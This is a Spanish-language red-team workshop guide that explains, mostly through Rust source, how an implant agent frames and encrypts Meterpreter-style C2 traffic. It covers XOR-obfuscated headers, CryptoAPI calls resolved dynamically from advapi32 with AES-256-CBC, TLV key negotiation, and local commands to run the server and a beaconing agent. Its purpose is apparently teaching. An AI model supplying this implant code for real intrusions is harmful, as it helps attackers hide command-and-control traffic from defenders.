Guía 04 — Encryption: framing Meterpreter + AES-256-CBC (CryptoAPI) + negociación de clave

> Objetivo: entender el “framing” y el cifrado del protocolo (estilo Meterpreter) tal como está implementado en el agente.

Código fuente:

- `crates/workshop-agent/src/agent/core/meterpreter_winapi.rs` (CryptoAPI + framing)
- `crates/workshop-agent/src/agent/core/tasking.rs` (negociación de AES vía TLVs)- `crates/core/src/meterpreter.rs` (implementación equivalente en puro Rust/ `aes` / `cbc`, útil para comparar)

> Nota didáctica: en este workshop existen dos implementaciones del mismo framing:

- **WinAPI/CryptoAPI** en el agente (`meterpreter_winapi.rs`) para demostrar resolución dinámica + uso de DLLs.
- `crates/core/src/meterpreter.rs` para mostrar el mismo algoritmo con crates (`aes` , `cbc` , `cipher`).

---

1) Flags de cifrado y header

`crates/workshop-agent/src/agent/core/meterpreter_winapi.rs`

```rust
pub const ENC_FLAG_NONE: u32 = 0x0;
pub const ENC_FLAG_AES256: u32 = 0x1;

const AES_BLOCK: usize = 16;

#[derive(Clone, Debug, PartialEq, Eq)]

pub struct MpHeader {
    pub xor_key: [u8; 4],
    pub session_guid: [u8; 16],
    pub enc_flags: u32,
    pub length: u32,
    pub typ: u32,
}
```

Interpretación del layout (wire format):

- `xor_key` (4 bytes)
- `session_guid` (16 bytes)
- `enc_flags` (u32, big-endian)
- `length` (u32, big-endian)
- `typ` (u32, big-endian)

Total: 32 bytes de header.

---

2) Obfuscation simple: XOR sobre todo menos el `xor_key`

`meterpreter_winapi.rs`

```
fn xor_bytes(xk: [u8; 4], data: &mut [u8]) {
    for (i, b) in data.iter_mut().enumerate() {
        *b ^= xk[i % 4];
    }
}
```

En `encode_frame`, el XOR se aplica a `out[4..]` (todo excepto los 4 bytes iniciales).

---

3) CryptoAPI: tipos, constantes y blobs

3.1 Handles y function pointers

`meterpreter_winapi.rs`

```
type HCRYPTPROV = usize;
type HCRYPTKEY = usize;


type CryptAcquireContextWFn = extern "system" fn(*mut HCRYPTPROV, *const u16,
*const u16, u32, u32) -> i32;

type CryptReleaseContextFn = extern "system" fn(HCRYPTPROV, u32) -> i32;
```

```
type CryptGenRandomFn = extern "system" fn(HCRYPTPROV, u32, *mut u8) -> i32;

type CryptImportKeyFn = extern "system" fn(HCRYPTPROV, *const u8, u32,
HCRYPTKEY, u32, *mut HCRYPTKEY) -> i32;

type CryptSetKeyParamFn = extern "system" fn(HCRYPTKEY, u32, *const u8, u32) -
> i32;

type CryptEncryptFn = extern "system" fn(HCRYPTKEY, usize, i32, u32, *mut u8,
*mut u32, u32) -> i32;

type CryptDecryptFn = extern "system" fn(HCRYPTKEY, usize, i32, u32, *mut u8,
*mut u32) -> i32;

type CryptDestroyKeyFn = extern "system" fn(HCRYPTKEY) -> i32;
```

3.2 Constantes

```
const PROV_RSA_AES: u32 = 24;
const CRYPT_VERIFYCONTEXT: u32 = 0xF000_0000;


const PLAINTEXTKEYBLOB: u8 = 0x08;
const CUR_BLOB_VERSION: u8 = 0x02;
const CALG_AES_256: u32 = 0x0000_6610;



const KP_MODE: u32 = 4;
const KP_IV: u32 = 1;
const CRYPT_MODE_CBC: u32 = 1;
```

3.3 Estructuras para importar una key AES-256

```
#[repr(C)]
struct BLOBHEADER {
    b_type: u8,
    b_version: u8,
    reserved: u16,
    ai_key_alg: u32,
```

```
}


#[repr(C)]
struct Aes256KeyBlob {
    header: BLOBHEADER,
    length: u32,
    key: [u8; 32],
}
```

---

4) Cargar `advapi32.dll` y resolver CryptoAPI dinámicamente

```
#[derive(Clone, Copy)]

struct Advapi32 {
    acquire: CryptAcquireContextWFn,
    release: CryptReleaseContextFn,
    gen_random: CryptGenRandomFn,
    import_key: CryptImportKeyFn,
    set_key_param: CryptSetKeyParamFn,
    encrypt: CryptEncryptFn,
    decrypt: CryptDecryptFn,
    destroy_key: CryptDestroyKeyFn,
}



fn load_advapi32() -> Option<Advapi32> {
    let h = GetModuleHandle(Some("advapi32.dll"))?;
    Some(Advapi32 {
        acquire: GetProcAddress(h.clone(),
"CryptAcquireContextW")?.cast_to_function(),
        release: GetProcAddress(h.clone(),
"CryptReleaseContext")?.cast_to_function(),
        gen_random: GetProcAddress(h.clone(),
"CryptGenRandom")?.cast_to_function(),
        import_key: GetProcAddress(h.clone(),
"CryptImportKey")?.cast_to_function(),
        set_key_param: GetProcAddress(h.clone(),
"CryptSetKeyParam")?.cast_to_function(),
        encrypt: GetProcAddress(h.clone(),
```

```
"CryptEncrypt")?.cast_to_function(),
        decrypt: GetProcAddress(h.clone(),
"CryptDecrypt")?.cast_to_function(),
        destroy_key: GetProcAddress(h.clone(),
"CryptDestroyKey")?.cast_to_function(),
    })

}
```

---

5) AES-256-CBC + PKCS7: encrypt (IV + ciphertext)

5.1 Adquirir provider + importar key

```
fn acquire_provider(adv: Advapi32) -> Option<HCRYPTPROV> {

    let mut prov: HCRYPTPROV = 0;

    let ok = (adv.acquire)(
        &mut prov as *mut _,
        std::ptr::null(),
        std::ptr::null(),
        PROV_RSA_AES,
        CRYPT_VERIFYCONTEXT,

    );

    if ok != 0 { Some(prov) } else { None }

}



fn import_aes_key(adv: Advapi32, prov: HCRYPTPROV, key: &[u8; 32]) ->
Option<HCRYPTKEY> {

    let blob = Aes256KeyBlob {

        header: BLOBHEADER {
            b_type: PLAINTEXTKEYBLOB,
            b_version: CUR_BLOB_VERSION,
            reserved: 0,
```

```
            ai_key_alg: CALG_AES_256,
        },

        length: 32,
        key: *key,

    };

    let mut hkey: HCRYPTKEY = 0;

    let ok = (adv.import_key)(
        prov,
        &blob as *const _ as *const u8,
        std::mem::size_of::<Aes256KeyBlob>() as u32,
        0,
        0,
        &mut hkey as *mut _,
    );

    if ok == 0 {
        None
    } else {
        Some(hkey)
    }

}
```

5.2 Encriptar (CBC + PKCS7) y prepender IV

`meterpreter_winapi.rs`

```
fn aes_encrypt_cbc_pkcs7(adv: Advapi32, aes_key: &[u8; 32], plain: &[u8]) ->
Option<Vec<u8>> {
    let prov = acquire_provider(adv)?;
    let key = import_aes_key(adv, prov, aes_key)?;
    let block = AES_BLOCK;
    let mode = CRYPT_MODE_CBC.to_le_bytes();
    let _ = (adv.set_key_param)(key, KP_MODE, mode.as_ptr(), 0);
    let mut iv = vec![0u8; block];
    let ok_rng = (adv.gen_random)(prov, iv.len() as u32, iv.as_mut_ptr());
    if ok_rng == 0 {
        rand::thread_rng().fill_bytes(&mut iv);
    }
```

```
    let _ = (adv.set_key_param)(key, KP_IV, iv.as_ptr(), 0);
    let max = (plain.len() + block) as u32;
    let mut buf = plain.to_vec();
    buf.resize(max as usize, 0u8);
    let mut len: u32 = plain.len() as u32;


    let ok_enc = (adv.encrypt)(key, 0, 1, 0, buf.as_mut_ptr(), &mut len as
*mut u32, max);

    let _ = (adv.destroy_key)(key);
    let _ = (adv.release)(prov, 0);



    if ok_enc == 0 {
        return None;
    }

    buf.truncate(len as usize);
    let mut out = Vec::with_capacity(iv.len() + buf.len());
    out.extend_from_slice(&iv);
    out.extend_from_slice(&buf);
    Some(out)
}
```

---

6) AES-256-CBC + PKCS7: decrypt

```
fn aes_decrypt_cbc_pkcs7(adv: Advapi32, aes_key: &[u8; 32], payload: &[u8]) ->
Option<Vec<u8>> {
    let prov = acquire_provider(adv)?;
    let key = import_aes_key(adv, prov, aes_key)?;


    let block = AES_BLOCK;
    if payload.len() < block {
        let _ = (adv.destroy_key)(key);
        let _ = (adv.release)(prov, 0);
        return None;
    }
```

```
    let iv = &payload[..block];
    let ct = &payload[block..];



    let mode = CRYPT_MODE_CBC.to_le_bytes();

    let _ = (adv.set_key_param)(key, KP_MODE, mode.as_ptr(), 0);

    let _ = (adv.set_key_param)(key, KP_IV, iv.as_ptr(), 0);



    let mut buf = ct.to_vec();

    let mut len: u32 = buf.len() as u32;

    let ok_dec = (adv.decrypt)(key, 0, 1, 0, buf.as_mut_ptr(), &mut len as
*mut u32);



    let _ = (adv.destroy_key)(key);

    let _ = (adv.release)(prov, 0);



    if ok_dec == 0 {

        return None;

    }



    buf.truncate(len as usize);

    Some(buf)

}
```

7) `encode_frame` : TLVs -> (opcional AES) -> header -> XOR

Literal:

```
pub fn encode_frame(session_guid: [u8; 16], pkt_type: u32, tlvs: &[MpTlv],
aes_key: Option<&[u8; 32]>) -> Vec<u8> {

    let mut payload = mp_pack_tlvs(tlvs);

    let mut enc_flags = ENC_FLAG_NONE;



    if let Some(key) = aes_key {

        if let Some(adv) = load_advapi32() {

            if let Some(p) = aes_encrypt_cbc_pkcs7(adv, key, &payload) {

                payload = p;

                enc_flags = ENC_FLAG_AES256;

            }

        }

    }



    let length_field: u32 = 8u32 + (payload.len() as u32);



    let mut xor_key = [0u8; 4];

    rand::thread_rng().fill_bytes(&mut xor_key);



    let mut header = [0u8; 32];

    header[0..4].copy_from_slice(&xor_key);
```

```
    header[4..20].copy_from_slice(&session_guid);

    header[20..24].copy_from_slice(&enc_flags.to_be_bytes());

    header[24..28].copy_from_slice(&length_field.to_be_bytes());

    header[28..32].copy_from_slice(&pkt_type.to_be_bytes());



    let mut out = Vec::with_capacity(32 + payload.len());

    out.extend_from_slice(&header);

    out.extend_from_slice(&payload);

    xor_bytes(xor_key, &mut out[4..]);

    out

}
```

Detalles clave:

- `length_field` incluye `8 + payload_len` (el “tlv header” clásico) aunque aquí el payload ya está serializado.
- Si `aes_key` está presente y CryptoAPI funciona, el payload se transforma a `IV(16) + ciphertext`.
- El XOR se aplica al header (menos `xor_key`) y al payload.

---

8) `decode_frame`: XOR -> parse header -> (opcional AES) -> unpack TLVs

Literal:

```
pub fn decode_frame(frame: &[u8], aes_key: Option<&[u8; 32]>) ->
Result<(MpHeader, Vec<MpTlv>), &'static str> {

    if frame.len() < 32 {
```

```
        return Err("short frame");
    }

    let mut buf = frame.to_vec();
    let xor_key = [buf[0], buf[1], buf[2], buf[3]];
    if buf.len() > 4 {
        xor_bytes(xor_key, &mut buf[4..]);
    }

    let enc_flags = u32::from_be_bytes([buf[20], buf[21], buf[22], buf[23]]);
    let length_be = u32::from_be_bytes([buf[24], buf[25], buf[26], buf[27]]);
    let typ_be = u32::from_be_bytes([buf[28], buf[29], buf[30], buf[31]]);

    let payload_len = length_be.saturating_sub(8) as usize;
    if 32 + payload_len > buf.len() {
        return Err("length mismatch");
    }

    let payload = &buf[32..32 + payload_len];

    let plain = if enc_flags == ENC_FLAG_AES256 {
        let key = aes_key.ok_or("missing aes key")?;
        let adv = load_advapi32().ok_or("advapi32")?;
```

```
        aes_decrypt_cbc_pkcs7(adv, key, payload).ok_or("decrypt")?
    } else {
        payload.to_vec()
    };


    let (tlvs, _used) = mp_unpack_tlvs(&plain).map_err(|_| "tlv decode")?;


    let mut guid = [0u8; 16];
    guid.copy_from_slice(&buf[4..20]);
    let header = MpHeader {
        xor_key,
        session_guid: guid,
        enc_flags,
        length: length_be,
        typ: typ_be,
    };
    Ok((header, tlvs))
}
```

---

9) Negociación de la clave AES vía TLVs

En este workshop la “negociación” es simple: el servidor manda un comando, el agente genera una key aleatoria y la devuelve como TLV (sin RSA wrapping).

Literal (`crates/workshop-agent/src/agent/core/tasking.rs`):

```rust
const TLV_TYPE_SYM_KEY_TYPE: u32 = 0x0002_0227;
const TLV_TYPE_SYM_KEY: u32 = 0x0004_0228;


const COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION: u32 = 16;


pub fn dispatch_tlvs(tlvs: &[MpTlv]) -> DispatchResult {
    let cmd_id = get_u32_be(tlvs, TLV_TYPE_COMMAND_ID).unwrap_or(0);
    match cmd_id {
        COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION => {
            let mut key = [0u8; 32];
            rand::thread_rng().fill_bytes(&mut key);
            DispatchResult {
                result: ERROR_SUCCESS,
                tlvs: vec![
                    tlv_uint(TLV_TYPE_SYM_KEY_TYPE, ENC_FLAG_AES256),
                    tlv_raw(TLV_TYPE_SYM_KEY, &key),
                ],
                new_aes_key: Some(key),
                new_sleep_ms: None,
                new_jitter_pct: None,
            }
        }
        _ => DispatchResult {
```

```
            result: ERROR_NOT_SUPPORTED,

            tlvs: Vec::new(),

            new_aes_key: None,

            new_sleep_ms: None,

            new_jitter_pct: None,

        },

    }

}
```

Punto de clase:

- La respuesta a negociación típicamente se manda **en claro** y la clave se “activa” después.
- Eso es lo que hace el dispatcher del exe (ver `MeterpreterDispatcher::dispatch`), donde decide si cifra o no según `aes_enabled` y `res.new_aes_key`.

---

10) Comparación: framing equivalente en `crates/core/src/meterpreter.rs`

Si quieres enseñar el mismo framing pero sin WinAPI, acá hay una implementación equivalente usando crates.

Literal (extracto):

```
pub fn encode_frame(session_guid: [u8; 16], pkt_type: u32, tlvs: &[MpTlv],
aes_key: Option<&[u8; 32]>) -> Vec<u8> {

    // Build TLV payload in classic BE format

    let mut payload = mp_pack_tlvs(tlvs);



    let mut enc_flags = ENC_FLAG_NONE;
```

```
    if let Some(key) = aes_key {

        // AES-256-CBC with PKCS7, prepend IV

        let mut iv = [0u8; 16];

        rand::thread_rng().fill_bytes(&mut iv);

        let enc = Encryptor::<Aes256>::new_from_slices(key, &iv).expect("bad
key/iv");

        let ct = enc.encrypt_padded_vec_mut::<Pkcs7>(&payload);

        let mut with_iv = Vec::with_capacity(16 + ct.len());

        with_iv.extend_from_slice(&iv);

        with_iv.extend_from_slice(&ct);

        payload = with_iv;

        enc_flags = ENC_FLAG_AES256;

    }



    // Header.length includes sizeof(TlvHeader) (8) + payload bytes
(IV+ciphertext or plaintext)

    let length_field: u32 = 8u32 + (payload.len() as u32);



    let mut header = [0u8; 32];

    // xor_key

    let xor_key = {

        let x = rand::random::<u32>();

        x.to_le_bytes()

    };
```

```rust
    header[0..4].copy_from_slice(&xor_key);
    // session_guid
    header[4..20].copy_from_slice(&session_guid);
    // enc_flags, length, typ (BE)
    header[20..24].copy_from_slice(&enc_flags.to_be_bytes());
    header[24..28].copy_from_slice(&length_field.to_be_bytes());
    header[28..32].copy_from_slice(&pkt_type.to_be_bytes());


    // Build full buffer then XOR tail (skip xor_key itself)
    let mut out = Vec::with_capacity(32 + payload.len());
    out.extend_from_slice(&header);
    out.extend_from_slice(&payload);
    xor_bytes(xor_key, &mut out[4..]);
    out
}
```

---

11) Validación rápida (demo local)

- Server:

```bash
cargo run -p workshop-server --bin workshop_server -- --bind 127.0.0.1:8080
```

- Agent:

```
cargo build -p workshop-agent --bin workshop_agent_exe

./target/debug/workshop_agent_exe.exe --url http://127.0.0.1:8080/register --
sleep-ms 1000 --jitter-pct 0
```

Qué deberías ver:

- Al negociar, el agente devolverá TLVs `TLV_TYPE_SYM_KEY_TYPE` y `TLV_TYPE_SYM_KEY`.
- Después de eso, los frames siguientes deberían ir con `enc_flags = ENC_FLAG_AES256` y payload como `IV + ciphertext`.